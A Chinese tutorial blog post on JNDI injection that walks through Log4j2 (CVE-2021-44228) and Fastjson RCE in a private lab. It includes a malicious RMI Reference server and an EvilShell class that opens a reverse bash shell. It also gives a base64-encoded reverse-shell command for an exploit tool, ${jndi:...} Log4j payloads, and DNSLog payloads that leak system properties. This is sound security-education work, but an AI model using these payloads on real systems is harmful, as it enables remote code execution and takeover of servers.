当前位置: 首页 > news >正文

从Log4j和Fastjson RCE漏洞认识jndi注入

文章目录

  • 前言
  • JNDI注入
    • 基础介绍
    • 靶场搭建
    • 漏洞验证
    • 注入工具
  • log4j RCE
    • 漏洞分析
    • 漏洞靶场
    • 检测工具
    • 补丁绕过
  • Fastjson RCE
    • 漏洞分析
    • 漏洞靶场
    • 检测工具
    • 补丁绕过
  • 总结

前言

接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用与 JNDI 注入相关?同时发现著名的 Log4j 任意代码执行漏洞也是基于 JNDI 注入,于是通过 Fastjson 反序列化漏洞(CVE-2017-18349)和 Log4j RCE(CVE-2021-44228)两个著名的 CVE 漏洞,来学习下 Java JNDI 注入的原理以及在漏洞利用中的使用。

JNDI注入

JNDI (Java Naming Directory Interface) 是 Java 提供的一个通用接口,使用它可以与各种不同的命名服务 (Naming Service) 和目录服务 (Directory Service) 进行交互,比如 RMI (Remote Method Invocation),LDAP (Lightweight Directory Access Protocol),Active Directory,DNS,CORBA等。

基础介绍

JNDI 提供统一的客户端 API,通过使用 JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS 等。这样,Java 应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

通俗地说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务 和 目录服务,如下图。
imagepng
JNDI API 支持的相关协议信息如下:

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

RMI 协议

JNDI 对访问 RMI 或者 ldap 服务的代码进行了封装,我们使用 JNDI 就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI 相当于是客户端,而 RMI,LDAP 等这些是服务端。

RMI 协议在前面的文章学习过:《渗透测试-Fastjson 1.2.47 RCE漏洞复现》。 LADP 协议请参见《JNDI注入原理及利用考究》,RMI 协议相对于 LADP 协议较为简单。

Java 远程方法调用,简称 Java RMI(Java Remote Method Invocation),是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。
imagepng
JAVA RMI简单示例

本示例是client端调用server端远程对象的加减法方法,具体步骤为:

1、定义一个远程接口

import java.rmi.Remote;
import java.rmi.RemoteException;/*** 必须继承Remote接口。* 所有参数和返回类型必须序列化(因为要网络传输)。* 任意远程对象都必须实现此接口。* 只有远程接口中指定的方法可以被调用。*/
public interface IRemoteMath extends Remote {// 所有方法必须抛出RemoteExceptionpublic double add(double a, double b) throws RemoteException;public double subtract(double a, double b) throws RemoteException;}

2、远程接口实现类

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;/*** 服务器端实现远程接口。* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。*/
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {private int numberOfComputations;protected RemoteMath() throws RemoteException {numberOfComputations = 0;}@Overridepublic double add(double a, double b) throws RemoteException {numberOfComputations++;System.out.println("Number of computations performed so far = " + numberOfComputations);return (a+b);}@Overridepublic double subtract(double a, double b) throws RemoteException {numberOfComputations++;System.out.println("Number of computations performed so far = " + numberOfComputations);return (a-b);}
}

3、服务器端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;/*** 创建RemoteMath类的实例并在rmiregistry中注册。*/
public class RMIServer {public static void main(String[] args)  {public static String HOST = "127.0.0.1";public static int PORT = 8089;public static String RMI_PATH = "/math";public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;try {// 注册RMI端口LocateRegistry.createRegistry(PORT);// 创建一个服务IRemoteMath remoteMath = new RemoteMath();  // 服务命名绑定        Registry registry = LocateRegistry.getRegistry();registry.bind(RMI_NAME, remoteMath);System.out.println("Math server ready");} catch (Exception e) {e.printStackTrace();}        }
}

上面例子中的 RMI 服务绑定是本地的类。

另外一种 RMI 服务端代码写法(下文 JNDI 实践的“漏洞验证”章节也会用到),可以采用 Naming Reference 绑定远程的类(可用于 JNDI 攻击):

public class Main {public static void main(String[] args) {try{Registry registry = LocateRegistry.createRegistry(1099);String url = "http://192.168.0.120:8081/";// Reference 需要传入三个参数 (className,factory,factoryLocation)// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址Reference reference = new Reference("evil", "EvilShell", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("getShell", referenceWrapper);System.out.println("Hello world!");}catch (Exception e){e.printStackTrace();}}
}

其中 "http://192.168.0.120:8081/”为一个存放了恶意类 class 文件的 http 服务地址:

// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;public class EvilShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。绑定 Reference 之后,服务端会先通过 Referenceable.getReference() 获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建 Reference 实例时几个比较关键的属性:

  1. className:远程加载时所使用的类名;
  2. classFactory:加载的 class 中需要实例化类的名称;
  3. classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;

通过 Naming Reference 功能,JNDI 客户端可以加载远程的 RMI 服务的 class 文件来进行实例化。通过 lookup 指定一个远程服务,远程服务是通过 Reference 来远程加载类文件。加载远程类的时候 static 静态代码块、无参构造函数和 getObjectInstance 方法都会被调用。

4、客户端代码

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;public class MathClient {public static void main(String[] args) {try { // 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math,否则就是:rmi://RMIService_IP:8089/mathRegistry registry = LocateRegistry.getRegistry("127.0.0.1", 8089);        // 从Registry中检索远程对象的存根/代理IRemoteMath remoteMath = (IRemoteMath) registry.lookup("rmi://127.0.0.1:8089/math");// 调用远程对象的方法double addResult = remoteMath.add(5.0, 3.0);System.out.println("5.0 + 3.0 = " + addResult);double subResult = remoteMath.subtract(5.0, 3.0);System.out.println("5.0 - 3.0 = " + subResult);            }catch(Exception e) {e.printStackTrace();}            }
}

结果如下:
imagepng
客户端如果直接通过 JNDI 提供的 Context 上下文直接访问上述 RMI 服务的话,则代码如下:

import java.util.Properties;import javax.naming.Context;
import javax.naming.InitialContext;public class testClient {public static void main(String[] args) throws Exception{//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常//Properties env = new Properties();//env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");//env.put(Context.PROVIDER_URL, "rmi://localhost:1099");// 创建初始化环境Context ctx = new InitialContext();// jndi的方式获取远程对象IRemoteMath remoteMath = (IRemoteMath) ctx.lookup("rmi://127.0.0.1:8089/math");//ctx.lookup("ldap://localhost:8088/EvilObj");// 调用远程对象的方法System.out.println(remoteMath.add(5.0, 3.0));}
}

JNDI注入

JNDI 注入指的是:

  1. 【主要】当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
  2. 或者 RMI 服务的 Reference 类构造方法的参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行。

JNDI 注入缺陷特征:

  1. 客户端的 lookup() 方法参数可控;
  2. 服务端在使用 Reference 时,classFactoryLocation 参数可控

上面两个都是在编写程序时可能存在的脆弱点,任意一个满足就行

JNDI 注入利用流程:

  1. 目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
  2. 攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
  4. 目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
  5. 攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;

imagepng
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

高版本的 JDK 的 JNDI 注入限制也存在一些绕过手段,参见:《如何绕过高版本JDK的限制进行JNDI注入利用》。

靶场搭建

靶场环境:Hello-Java-Sec
JNDI 注入漏洞代码:https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java

   /*** lookup 方法会将传入的参数当作 JNDI 名称,如果参数值包含恶意的 JNDI 名称,那么攻击者就可以通过这种方式来执行任意的 JNDI 操作。* lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。* payload: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1* PoC http://127.0.0.1:8888/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi*/@ApiOperation(value = "vul:JNDI注入")@GetMapping("/vul")public String vul(String content) {log.info("[vul] JNDI注入:" + content);try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return "JNDI注入";}

自建 Docker 容器

Ubuntu 虚拟机中,创建 Dockerfile 文件如下:

# 基础镜像,默认低版本的java8("1.8.0_111"),下载失败就更换镜像源
FROM java
# 设定时区
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
# 拷贝jar包
COPY javasec-1.11.jar /tmp/javasec1.11.jar
#开放端口
EXPOSE 8888
# 入口
ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]

在放置了 Dockerfile 文件和 javasec1.11.jar 文件的路径下执行如下命令,创建目标镜像:

test@ubuntu:~/Downloads/Hello-Java-Sec$ vim Dockerfile
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker build -t docker-demo .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.Install the buildx component to build images with BuildKit:https://docs.docker.com/go/buildx/Sending build context to Docker daemon  90.23MB
Step 1/6 : FROM java
latest: Pulling from library/java
Digest: sha256:c1ff613e8ba25833d2e1940da0940c3824f03f802c449f3d1815a66b7f8c0e9d
Status: Downloaded newer image for java:latest---> d23bdf5b1b1b
Step 2/6 : ENV TZ=Asia/Shanghai---> Running in fda692eef7e5
Removing intermediate container fda692eef7e5---> a792dba8f3d2
Step 3/6 : RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone---> Running in 1739257a2432
Removing intermediate container 1739257a2432---> 931ee7d2c868
Step 4/6 : COPY javasec-1.11.jar /tmp/javasec1.11.jar---> a81924fb1a42
Step 5/6 : EXPOSE 8888---> Running in 58cc4139551d
Removing intermediate container 58cc4139551d---> b86b11ddc81e
Step 6/6 : ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]---> Running in 6997bba01f39
Removing intermediate container 6997bba01f39---> 31ddaf9657fd
Successfully built 31ddaf9657fd
Successfully tagged docker-demo:latest
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker images
REPOSITORY                                                           TAG            IMAGE ID       CREATED          SIZE
docker-demo                                                          latest         31ddaf9657fd   36 seconds ago   729MB
……
test@ubuntu:~/Downloads/Hello-Java-Sec$

运行镜像:

test@ubuntu:~/Downloads/Hello-Java-Sec$ docker run -d --name dd -p 8888:8888 docker-demo
ef4178ffc31f65ee157c17850fede12641f2383ce9c5ab5b1efe3b1c845d8bce
test@ubuntu:~/Downloads/Hello-Java-Sec$ 
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker ps -a
CONTAINER ID   IMAGE         COMMAND                  CREATED         STATUS         PORTS                                       NAMES
ef4178ffc31f   docker-demo   "java -jar /tmp/java…"   6 minutes ago   Up 6 minutes   0.0.0.0:8888->8888/tcp, :::8888->8888/tcp   dd
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker exec -it ef /bin/sh
# java -version
openjdk version "1.8.0_111"
OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)
# 
# ps -ef|grep java
root           1       0 54 17:07 ?        00:00:16 java -jar /tmp/javasec1.11.jar
root          62      40  0 17:08 pts/0    00:00:00 grep java
# 

然而发现访问宿主机 8888 端口即可,如果遇到访问失败,请重启虚拟机容器服务(systemctl restart docker)或网络即可(踩坑经历)……
imagepng
【More】
可对比下 Hello-Java-Sec 靶场 Docker 部署,官方指导部署步骤:

mvn clean package
./deploy.sh
// deploy.sh的内容:docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec

存在的问题:

在这里插入图片描述
解决方法是将项目的 Dockerfile 文件中的 javasec-1.7.jar 修改为 javasec-1.11.jar:
imagepng
成功启动 Hello-Java-Sec 靶场容器(此时拉取的镜像也是低版本的 java8(“1.8.0_111”),方便漏洞利用和复现):

test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ ./deploy.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.Install the buildx component to build images with BuildKit:https://docs.docker.com/go/buildx/Sending build context to Docker daemon   93.4MB
Step 1/6 : FROM java:8---> d23bdf5b1b1b
Step 2/6 : VOLUME /tmp---> Using cache---> f53f1fc48ac4
Step 3/6 : ADD ./target/javasec-1.11.jar app.jar---> 827b8c11311e
Step 4/6 : EXPOSE 8888---> Running in ca97d4e12a88
Removing intermediate container ca97d4e12a88---> 203f8633a5ff
Step 5/6 : RUN sh -c 'touch /app.jar'---> Running in 571fa29af378
Removing intermediate container 571fa29af378---> 69545e85bfec
Step 6/6 : ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]---> Running in e87ac41a90f6
Removing intermediate container e87ac41a90f6---> 605e05da2589
Successfully built 605e05da2589
Successfully tagged javasec:latest
65aba6a67d1d7984418846ac87ce74e122f361970e9f6a2595cbe4c22b425158
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ docker ps -a
CONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS          PORTS                                   NAMES
65aba6a67d1d   javasec   "java -Djava.securit…"   44 seconds ago   Up 43 seconds   0.0.0.0:80->8888/tcp, :::80->8888/tcp   zen_borg
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ netstat -ntpl
(Not all processes could be identified, non-owned process infowill not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41589         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$

访问宿主机的 80 端口接口即可:
imagepng

漏洞验证

Hello-Java-Sec 中的 JNDI 注入请求如下(使用自建的 Docker 容器环境),需要我们自行构造一个 RMI 服务进行注入来实现 RCE:
imagepng
Ubuntu 虚拟机(192.168.0.120)通过 IDEA 创建一个 RMI 服务(附:Ladp 服务的搭建可以参见 Hello-Java-Sec 提供的示例代码:JNDILdapServer.java):

package org.example;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Main {public static void main(String[] args) {try{Registry registry = LocateRegistry.createRegistry(1099);String url = "http://192.168.0.120:8081/";// Reference 需要传入三个参数 (className,factory,factoryLocation)// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址Reference reference = new Reference("evil", "EvilShell", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("getShell", referenceWrapper);System.out.println("Hello world!");}catch (Exception e){e.printStackTrace();}}
}

同时创建一个恶意 Java 类,用于“远程”加载后执行恶意代码:

// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;public class EvilShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

执行 javac EvilShell.java 命令生成 EvilShell.class 文件,然后通过 Python 搭建一个 Http Server,方便 RMI 服务远程加载:
imagepng
在 Kali 攻击机(192.168.0.114)监听 6666 端口:
imagepng
IDEA 启动 RMI 服务,然后 Burp 发送 HTTP 报文,执行 JNDI 注入攻击:
imagepng
imagepng
成功加载远程恶意类,并反弹 shell:
imagepng
imagepng
【思考】此处如果将 Hello-Java-Sec 的 jar 包直接通过高版本的 JDK8 启动,JNDI 注入的结果会如何?
直接试一下:
imagepng
注入失败:
imagepng

注入工具

JNDI 注入攻击开源辅助工具:https://github.com/welk1n/JNDI-Injection-Exploit。

先对 Payload 进行 base64 编码:

bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

然后一键自动搭建 RMI、LADP 服务(注意已亲测不可在高于 Java8 的环境下运行 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,会导致最终注入利用失败):

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "XXX.XXX.XXX.227"

-C 指定需要执行的具体命令,-A 指定部署 RMI/LDAP 的服务器地址,成功搭建服务并访问:
imagepng
imagepng
成功反弹 Shell 到 Kali 攻击机:
imagepng
显然,这个一键搭建 RMI、LADP 服务的工具,要比《渗透测试-Fastjson 1.2.47 RCE漏洞复现》曾用到的 marshalsec.jar 工具包方便许多,JNDI 注入漏洞可首选此辅助工具。

log4j RCE

2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)。Apache Log4j2 是一款优秀的 Java 日志框架,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响,堪称“史诗级核弹漏洞”。

漏洞信息
漏洞名称Apache log4j 远程代码执行漏洞
漏洞编码CVE-2021-44228
漏洞危害严重
漏洞时间2021/12/10
受影响版本Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
利用难度
POC已知
EXP已知

漏洞分析

Ubuntu 虚拟机 IDEA 创建一个 Maven 项目,体验下 Log4j 组件的简单使用:

<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>
</dependencies>

IDEA 安全告警提示存在组件漏洞:
imagepng
本次漏洞是因为 Log4j2 组件中 lookup 功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于 log4j-core.jar 中。
imagepng
log4j 的 Lookups 功能 可以快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等内容。比如打印操作系统版本和 Java 运行时版本信息:

private static final Logger logger = (Logger) LogManager.getLogger();public static void main(String[] args) {logger.error("Get: {}", "${java:os}");logger.error("${java:runtime}");
}

输出结果如下所示,使用 JavaLookup (需要使用 java 前缀)获取到了相关信息:
imagepng
而这个史诗级漏洞的触发正是只需要如下简简单单一行 JNDI 注入的 Payload:

logger.info("${jndi:rmi://127.0.0.1:1099/calc}");

imagepng
动态调试分析时,核心可以把目标放在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:

     public void format(final LogEvent event, final StringBuilder toAppendTo) {Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {boolean doRender = this.textRenderer != null;StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;int offset = workingBuilder.length();if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);} else {((StringBuilderFormattable)msg).formatTo(workingBuilder);}if (this.config != null && !this.noLookups) {for(int i = offset; i < workingBuilder.length() - 1; ++i) {if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));}}}...} else {...}}

我们传入的 message 会通过 MessagePatternConverter.format(),判断如果 config 存在并且 noLookups 为 false(默认为false),然后匹配到 ${ 则通过 getStrSubstitutor() 替换原有的字符串,比如这里的 ${java:runtime} 。因为没有任何白名单检测,那么攻击者可以构造任何的字符串,只有符合 ${ 就可以。

继续往下走,来到 org.apache.logging.log4j.core.lookup.Interpolator#lookup
imagepng
可以看到处理 event 的时候根据前缀选择对应的 StrLookup 进行处理,目前支持 date,jndi,java,main 等多种类型,如果构造的 event 是 jndi,则通过 JndiLoopup 进行处理,从而造成 JNDI 注入漏洞。

可进一步跟进:org.apache.logging.log4j.core.lookup.JndiLookup#lookup,可以看到 JNDI 注入的 sink 点:
imagepng

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java

@Api("Log4j2 反序列化漏洞")
@RestController
@RequestMapping("/Log4j")
public class Log4jVul {private static final Logger logger = LogManager.getLogger(Log4jVul.class);/*** 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。* 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP** content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}*/@PostMapping(value = "/vul")public String vul(@RequestParam("q") String q) {System.out.println(q);logger.error(q);return "Log4j2 JNDI Injection";}
}

同样对 Payload 进行 Base64 编码:

bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

接着一键搭建 RMI 与 ldap 服务,远程调用成功:
imagepng
imagepng
成功反弹 Shell:
imagepng
DNSLog 检测
建议使用 https://dnslog.org/,亲测 http://www.dnslog.cn/ 检测不出来。

${jndi:ldap://${sys:java.version}.XXXX.log.dnslog.biz}
或者
${jndi:dns://${sys:java.version}.xxxx.log.dnslog.biz}

imagepng
成功访问 DNS 服务器并获得目标服务器 java 版本信息:
imagepng
【More】Payload 中使用 dns 协议也是 ok 的,JNDI 支持 DNS 协议:
imagepng
imagepng

检测工具

发现 Github 上几个开源的主流 Log4j 漏洞检测工具,实践并不是太好用,检测不出上述漏洞…Xray 社区版也是。

  1. https://github.com/whwlsfb/Log4j2Scan;
  2. https://github.com/fullhunt/log4j-scan;

可能靶场环境的问题??

建立新的 Log4j 靶场(vulhub/log4j/CVE-2021-44228)进行对比验证,使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
imagepng
imagepng
imagepng
imagepng

补丁绕过

2021 年年底此漏洞爆发那几天,引得无数厂商的安全运营人员通宵达旦处置,因为受影响的资产范围之大、漏洞利用难度之低、漏洞危害之大,无不让企业瑟瑟发抖。同时各路白帽子开始疯狂批量探测漏洞提交 SRC,最后逼得国内诸多 SRC 不得不暂停接收此漏洞哈哈。

临时处置
言归正传,当时的部分临时处置方案如下:

  • 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
  • 修改配置文件 log4j2.formatMsgNoLookups=True;
  • 修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,设置为 true;
  • 禁用 lookup 或 JNDI 服务(可将 jdk 升级到最新的版本);
  • 恶意流量中可能存在 jndi:ladp://、jdni:rmi,给安全设备 IDS 和 WAF 编写相应规则从流量中拦截攻击流量;

安全补丁
在阿里云安全团队披露此漏洞大概两周后,Apache 官方紧急发布了安全更新版本 log4j-2.15.0-rc1,此版本默认关闭了 lookup 功能并增加了白名单校验,但是研究人员又发现在用户错误开启 lookup 时可以绕过白名单校验。

JndiManager.lookup 方法中对 JNDI 协议、主机名、类名进行了白名单校验:
imagepng
但是在 lookup 方法中,异常处理的 catch 中并没有 return,所以这就造成造成异常后可以继续向下运行 this.context.lookup 触发漏洞
imagepng

【More】漏洞详细的调试分析步骤和官方最初安全补丁的绕过可以参见:《Apache Log4j2 漏洞分析 | Gta1ta’s Blog》,以及《Apache Log4j2 Jndi RCE 高危漏洞分析与防御》。

Fastjson RCE

前文《渗透测试-Fastjson 1.2.47 RCE漏洞复现》简单介绍过 Fastjson 1.2.47 版本(注意 Fastjson 最开始出现 RCE 漏洞的版本为 2017 年披露的 1.2.24,即CVE-2017-18349) 的漏洞简介和复现步骤,下面来进一步看看漏洞原理和漏洞利用方法。

漏洞分析

Fastjson 是阿里巴巴开源的 JSON 解析库(项目地址:https://github.com/alibaba/fastjson),它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串(常用于 Java 后端解析前端传递过来的 JSON 格式字符串),也可以从 JSON 字符串反序列化到 Java Object。

Fastjson 提供了两个主要接口来分别实现对于 Java Object 的序列化和反序列化操作。

JSON.toJSONString
JSON.parseObject 或者 JSON.parse

来看看具体如何使用,先给自己的 Maven 项目添加依赖:

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version>
</dependency>

对于 Fastjson 来讲,并不是所有的 Java 对象都能被转为 JSON,只有 Java Bean 格式的对象才能通过 Fastjson 转为 JSON,先创建一个 JavaBean:

package com.tr0e.sec.Entity;import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {private String name;private int age;
}

接着看下 Fastjson 的序列化和反序列化的示例代码:

        //创建一个Java Bean对象Person person = new Person();person.setName("Tr0e");person.setAge(18);System.out.println("--------------序列化-------------");//将其序列化为JSONString JSON_Serialize = JSON.toJSONString(person);System.out.println(JSON_Serialize);System.out.println("-------------反序列化-------------");//使用parse方法,将JSON反序列化为一个JSONObjectObject o1 =  JSON.parse(JSON_Serialize);System.out.println(o1.getClass().getName());System.out.println(o1);System.out.println("-------------反序列化-------------");//使用parseObject方法,将JSON反序列化为一个JSONObjectObject o2 = JSON.parseObject(JSON_Serialize);System.out.println(o2.getClass().getName());System.out.println(o2);System.out.println("-------------反序列化-------------");//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象Object o3 = JSON.parseObject(JSON_Serialize,Person.class);System.out.println(o3.getClass().getName());System.out.println(o3);

输出结果如下所示:

--------------序列化-------------
{"age":18,"name":"Tr0e"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.tr0e.sec.Entity.Person
Person(name=Tr0e, age=18)

可以看到,如果我们反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。

AutoType 特性

阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

注意到上面使用 parseObject 方法进行反序列化时,通过指定类,可以将 JSON 反序列化为一个指定的类对象。而 Fastjson 还提供了另外一种方式(即 AutoType):可以在 toJSONString() 方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化,此时序列化后的 JSON 字符串会自动携带@type字段,记录具体的类名,随后进行反序列化的过程便能自动此类 JSON 字符串转换为一个具体的类对象。

